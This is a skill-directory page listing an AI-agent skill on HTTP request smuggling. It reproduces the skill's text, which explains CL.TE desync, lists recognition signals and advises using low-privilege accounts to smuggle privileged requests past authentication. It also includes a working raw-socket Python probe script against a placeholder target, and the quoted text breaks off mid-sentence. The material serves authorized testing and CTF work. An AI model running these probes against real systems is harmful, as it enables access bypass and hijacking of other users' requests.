Skip to content
Skillpedia
Security6.5k Β· #14079

smuggling

What it does

This skill explains HTTP request smuggling, which happens when a front-end proxy and a back-end server disagree about where a request ends. It is for security testers with authorized targets.

When to use it

  • βœ“When a site runs behind a proxy or CDN and you suspect the two parts parse requests differently.
  • βœ“When a challenge tag points to request smuggling or desync.
  • βœ“When you want a checklist to confirm a desync before trying other attacks.

Skill link

https://github.com/BitterSecurity/Decepticon/blob/main/packages/decepticon/decepticon/skills/standard/exploit/web/smuggling/SKILL.md

Copy it and paste it into your AI (Claude, ChatGPT or Cursor), asking it to follow the instructions.

How to use

The easiest way: copy the message and paste it into your AI. It reads the skill and follows the instructions.

Ready-to-paste message

Use this skill to help me: https://github.com/BitterSecurity/Decepticon/blob/main/packages/decepticon/decepticon/skills/standard/exploit/web/smuggling/SKILL.md Read the SKILL.md file at that link and follow its instructions for my task.
Want your AI to find skills like this on its own?Install the free Skillpedia MCP: one line, and it searches 15,000+ skills before each task.Install in 1 minute β†’

Example of what to ask your AI

β€œCan you check whether my site's CDN and server disagree about how they read HTTP requests?”

5 new skills a week. 1 minute to read.

How it works

The agent sends carefully built requests with conflicting length and encoding headers, then checks for signs that the next request on the connection was affected.

Technical content (original SKILL.md)

Original text by the author, straight from GitHub.

HTTP Request Smuggling (Desync)

Exploits parser disagreement between two HTTP intermediaries on the same connection (front-end CDN/proxy ↔ back-end origin). When one side ends a request at byte X and the other at byte Y, the bytes between X and Y are the "smuggled" prefix of the next victim request β€” letting the attacker rewrite the next user's request, steal cookies/headers, or hit auth-bypassed routes.

When This Skill Is Primary

HRS bypasses authentication and authorization at the front-end/back-end boundary β€” it does NOT need correct credentials. When smuggling_desync (or request_smuggling / hrs / desync) co-occurs with credential-related tags (default_credentials, jwt, weak_password), smuggling IS the primary attack vector. Credential brute-force is a fallback only after the confirm-desync gate (below) fires NEGATIVE.

Reasoning: a CTF that ships both tags is signaling "you have a low-priv account (test:test, etc.) β€” use it as your session anchor and bypass the role check via parser disagreement." Burning the time budget on admin:* brute-force misses the design entirely. Use the low-priv credentials as the OUTER request session; smuggle the privileged INNER request.

The same logic applies when smuggling_desync co-occurs with cve (the CVE is likely the desync primitive; e.g., CVE-2022-24766 is mitmproxy h1 smuggling β€” see Variant Catalog β†’ CL.0 / pause-based desync below).

Recognition Signals

Trigger this skill when ANY of the following are present:

  • Multi-proxy stack visible: two Server: strings across responses (e.g. cloudflare then gunicorn); Via: header present; CDN/edge fingerprint (Cloudflare CF-RAY, AWS CloudFront, Akamai, Fastly).
  • Differential 400/501 when sending duplicate/obfuscated Transfer-Encoding or Content-Length headers (one path 200, another 400/501).
  • HTTP/2 frontend with HTTP/1.1 backend (alt-svc: h2, :status pseudo-header, HTTP/2 ALPN). Downgrades are the modern smuggling surface.
  • Pipelining differences: connection reused across requests with inconsistent framing.
  • Challenge tag includes smuggling_desync, request_smuggling, hrs, desync, or recon's "Frontend behavior" line says "frontend forwards malformed framing".
  • Recon handoff notes that the same payload yields different status codes when sent to different proxy hops or with different framing.

Confirm-Desync Gate

STOP. Before iterating ANY payload, prove a real desync exists. Differential parsing alone (different status codes from different headers) is NOT a smuggle β€” it is a hint. The gate is a single in-file Python probe that opens one TCP connection and pipelines two requests where the second is detectable only if the first leaked bytes into the connection buffer.

timeout 60 python3 -u -c '
import socket, sys

HOST, PORT = "<TARGET>", 443  # use 80 for plain HTTP
USE_TLS = (PORT == 443)

# CL.TE smuggling probe β€” front-end uses Content-Length, back-end uses Transfer-Encoding.
# A real desync makes the back-end park "X" as the start of the NEXT request on this socket.
smuggle = (
    "POST / HTTP/1.1\r\n"
    "Host: <TARGET>\r\n"
    "Content-Length: 6\r\n"
    "Transfer-Encoding: chunked\r\n"
    "\r\n"
    "0\r\n"
    "\r\n"
    "X"  # the smuggled prefix
)
victim = (
    "GET / HTTP/1.1\r\n"
    "Host: <TARGET>\r\n"
    "\r\n"
)

s = socket.create_connection((HOST, PORT), timeout=5)
if USE_TLS:
    import ssl
    s = ssl.create_default_context().wrap_socket(s, server_hostname=HOST)
s.settimeout(5)
s.sendall(smuggle.encode() + victim.encode())

buf = b""
try:
    while True:
        chunk = s.recv(4096)
        if not chunk:
            break
        buf += chunk
        if len(buf) > 16384:
            break
except socket.timeout:
    pass
finally:
    s.close()

# Desync signal: victim request fails with 400/405 because "XGET" landed at backend.
# Baseline GET / on the same target returns 200 β€” so 400/405 here is the smoke.
sys.stdout.write(buf[:2048].decode(errors="replace"))
sys.stdout.flush()
' 2>&1 | tee smuggle_gate.txt

Pass criteria (any one):

  • Second response shows 400 Bad Request containing XGET / Invalid method / bad request line.
  • Connection closes after the first response with the second never sent (back-end ate the smuggled bytes).
  • Repeating the same probe on a fresh connection still 200s β€” i.e. the desync is connection-scoped.

If gate FAILS (no pass criteria met before the harness's out

FAQ

What are CL.TE and TE.CL?

They are names for two conflicting ways a proxy and server can read request length, using the Content-Length and Transfer-Encoding headers.

Does it need working login details?

The skill says smuggling can bypass access checks at the boundary, and low-privilege test accounts can serve as the outer session.

Does it include a tool?

It includes small raw socket test scripts, because the standard smuggler tool is not available in the sandbox.

Details

Original description by the author

HTTP Request Smuggling (HRS) β€” front-end / back-end parser disagreement attacks that desync the proxy stack. Covers CL.TE, TE.CL, TE.TE, CL.0, HTTP/2 downgrade (h2.cl, h2.te), pipelining, and connection-state pinning. Includes a confirm-desync gate, header obfuscation catalog, and minimal raw-socket Python harnesses (no smuggler.py available in sandbox).

repo: BitterSecurity/Decepticon

Popularity

GitHub stars
6.5k
Ranking position
#14079
License
Apache-2.0
Updated
11/1/2026

Is this skill useful?

0

Sign in to vote.

Comments

  • …

More skills from this repository

Similar skills